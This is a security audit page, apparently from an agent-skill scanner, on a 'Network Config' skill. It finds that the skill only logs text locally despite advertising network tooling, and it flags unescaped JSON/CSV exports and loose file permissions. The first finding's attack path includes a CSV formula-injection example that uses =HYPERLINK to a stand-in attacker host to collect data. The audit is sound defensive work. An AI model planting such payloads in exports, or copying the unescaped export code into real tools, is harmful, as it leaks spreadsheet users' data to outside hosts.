Back to skill

Security audit

Network Config

Security checks for vulnerabilities and agentic risk

Overview

This looks like a local plaintext logging tool marketed as a broader network management toolkit, so users should review the mismatch before installing.

Install only if you want a local note/history tool for network-related text, not an actual scanner, DNS/ICMP checker, AWS SSM helper, backup tool, restore tool, or remediation tool. Avoid recording secrets, tokens, private keys, credentials, or sensitive internal inventories, and treat exported JSON/CSV/TXT files as sensitive and potentially unsafe for spreadsheets or downstream parsers.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/script.sh:64
Finding

Unescaped User-Controlled Data Produces Unsafe JSON and CSV Exports

Content
View full analysis

Vulnerability Details

File Location: scripts/script.sh, lines 64-81
Vulnerability Type: Improper output encoding and CSV formula injection
Risk Level: Medium

Vulnerable Code

bash
json)
    echo "[" > "$out"
    local first=1
    for f in "$DATA_DIR"/*.log; do
        [ -f "$f" ] || continue
        local name=$(basename "$f" .log)
        while IFS='|' read -r ts val; do
            [ $first -eq 1 ] && first=0 || echo "," >> "$out"
            printf '  {"type":"%s","time":"%s","value":"%s"}' "$name" "$ts" "$val" >> "$out"
        done < "$f"
    done
    echo "\n]" >> "$out"
    ;;
csv)
    echo "type,time,value" > "$out"
    for f in "$DATA_DIR"/*.log; do
        [ -f "$f" ] || continue
        local name=$(basename "$f" .log)
        while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out"; done < "$f"
    done
    ;;

Technical Analysis

Values stored by commands such as scan, monitor, and alert are controlled by the invoking user. The export implementation inserts these values directly into JSON string literals and CSV fields without format-specific encoding.

In JSON output, quotation marks, backslashes, newlines, and control characters are not escaped. A value containing characters such as "} can terminate or alter the intended JSON structure, producing malformed data or injecting additional properties or records.

In CSV output, commas, quotation marks, and newlines are not escaped according to CSV rules. In addition, values beginning with spreadsheet formula indicators such as =, +, -, or @ remain active. If the export is opened in spreadsheet software, the value may be interpreted as a formula instead of inert text.

Attack Path

  1. An attacker or untrusted data source causes a crafted value to be recorded, for example through:
    bash
    network-config alert '=HYPERLINK("https://attacker.example/collect",
    

...[truncated 1191 chars]

Remediation
View remediation

Remediation Suggestions

  • Generate JSON with a dedicated serializer such as jq, rather than constructing JSON with printf.
  • If preserving the zero-dependency design is mandatory, implement and thoroughly test escaping for quotation marks, backslashes, control characters, and newlines.
  • Encode CSV fields according to RFC 4180:
    • Wrap fields in double quotes.
    • Replace each embedded double quote with two double quotes.
    • Preserve embedded commas and newlines only inside quoted fields.
  • When spreadsheet consumption is expected, neutralize values beginning with =, +, -, @, tab, or carriage return. Document the chosen neutralization convention.
  • Add tests covering quotation marks, commas, backslashes, multiline values, control characters, Unicode, and spreadsheet formula prefixes.
  • Treat exported files as untrusted data when consumed by downstream tools.

T09 · Insecure Skill Coding Practices

Note
Location
scripts/script.sh:6
Finding

Network Logs and Exports Are Created Without Restrictive Permissions

Content
View full analysis

Vulnerability Details

File Location: scripts/script.sh, lines 6-7 and representative write at lines 131-136
Vulnerability Type: Insecure filesystem permissions for potentially sensitive data
Risk Level: Low

Vulnerable Code

bash
DATA_DIR="${HOME}/.local/share/network-config"
mkdir -p "$DATA_DIR"

Representative log creation:

bash
local input="$*"
local ts=$(date '+%Y-%m-%d %H:%M')
echo "$ts|$input" >> "$DATA_DIR/scan.log"
local total=$(wc -l < "$DATA_DIR/scan.log")
echo "  [Network Config] scan: $input"
echo "  Saved. Total scan entries: $total"
_log "scan" "$input"

The same creation pattern is repeated for the other recording commands and for generated export files.

Technical Analysis

The script does not establish a restrictive umask, explicitly set the data directory to mode 0700, or set log and export files to mode 0600. Consequently, permissions are inherited from the invoking process's environment.

Under a common umask of 022, a newly created directory can receive mode 0755 and files can receive mode 0644. If parent-directory permissions permit traversal, other local accounts may be able to read recorded network topology, hostnames, incident details, configuration notes, and generated exports.

This issue is environment-dependent: restrictive permissions on the user's home directory or a restrictive preexisting umask can prevent disclosure. The script nevertheless fails to enforce the confidentiality implied by its local storage design.

Attack Path

  1. A user runs the tool under a permissive umask and records operational information.
  2. The script creates the data directory, log files, history file, or exports without explicit restrictive permissions.
  3. Another local account checks whether the relevant parent directories are traversable.
  4. If filesystem permissions allow access, that account reads files under `~/.local/share/network-c ...[truncated 617 chars]
Remediation
View remediation

Remediation Suggestions

  • Set a restrictive umask before creating any storage:
    bash
    umask 077
    
  • Create and verify the directory with owner-only permissions:
    bash
    mkdir -p -- "$DATA_DIR"
    chmod 700 -- "$DATA_DIR"
    
  • Ensure existing and newly created logs and exports use mode 0600.
  • Refuse to use the storage directory if it is owned by another user, is a symbolic link, or has unsafe permissions.
  • Use safe file-creation procedures that avoid following attacker-controlled symbolic links when operating in an environment where the directory may be writable by another account.
  • Document that logs may contain sensitive operational information and should not be copied to shared locations without redaction.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Rogue AgentSelf-Modification, Session Persistence
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (7)

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The skill materially misrepresents its behavior: it is presented as a network management, DNS/ICMP, AWS SSM, and configuration tool, but the documented functionality is only local logging of arbitrary text. This can mislead users or downstream agents into believing real diagnostics, backup, restore, or remediation actions occurred when nothing actually happened, creating operational and security blind spots.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

The manifest promises a network-management and troubleshooting tool with capabilities like network-config, DNS, ICMP, and AWS SSM context, which implies actual network operations or diagnostics. In this file, the commands merely append user-provided text to local files, export those logs, and search/display them; there are no network configuration changes, connectivity checks, DNS lookups, ICMP operations, or remote interactions.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The skill encourages users to enter network scan results, alerts, benchmarks, and configuration-related data, but does not prominently warn that all inputs are persistently stored in local plaintext logs and may later be exported. This can lead to unintentional retention and disclosure of sensitive infrastructure details such as host inventories, outages, topology hints, and incident data.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
86% confidence
Finding

The skill intentionally persists session activity and user-supplied operational notes across runs, including potentially sensitive network monitoring and incident information. In the context of a network operations tool, this increases exposure because historical data can reveal infrastructure state, troubleshooting details, and other information valuable to an attacker or inappropriate for long-term retention.

Content

Scanner excerpt · SKILL.md (reported line 89)May include surrounding context.

md
# Log a monitoring observation
network-config monitor "WAN latency spike: 85ms avg over last hour"

# Create an alert entry
network-config alert "Interface eth0 dropped 12 packets in 5 min"

# Record a benchmark

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The inline documentation presents the file as a network configuration/sysops tool, suggesting operational behavior on networks or systems. However, the code does not inspect, configure, or troubleshoot networks; it only records arbitrary command text into per-command log files and reports on those files.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The export function aggregates all collected logs into json/csv/txt files on disk without any sensitivity check, confirmation, or access-control hardening. Because the skill is framed as a network troubleshooting tool, exported content is more likely to include sensitive operational data, making accidental disclosure via local sharing, backups, or subsequent transfer more likely.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

User-supplied input is silently persisted to predictable files under ~/.local/share/network-config, and this tool's domain suggests users may enter hostnames, incident notes, credentials, tokens, or internal network details. The lack of disclosure and redaction controls creates a real confidentiality risk, especially on shared systems, in backups, or when later exported/searched.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.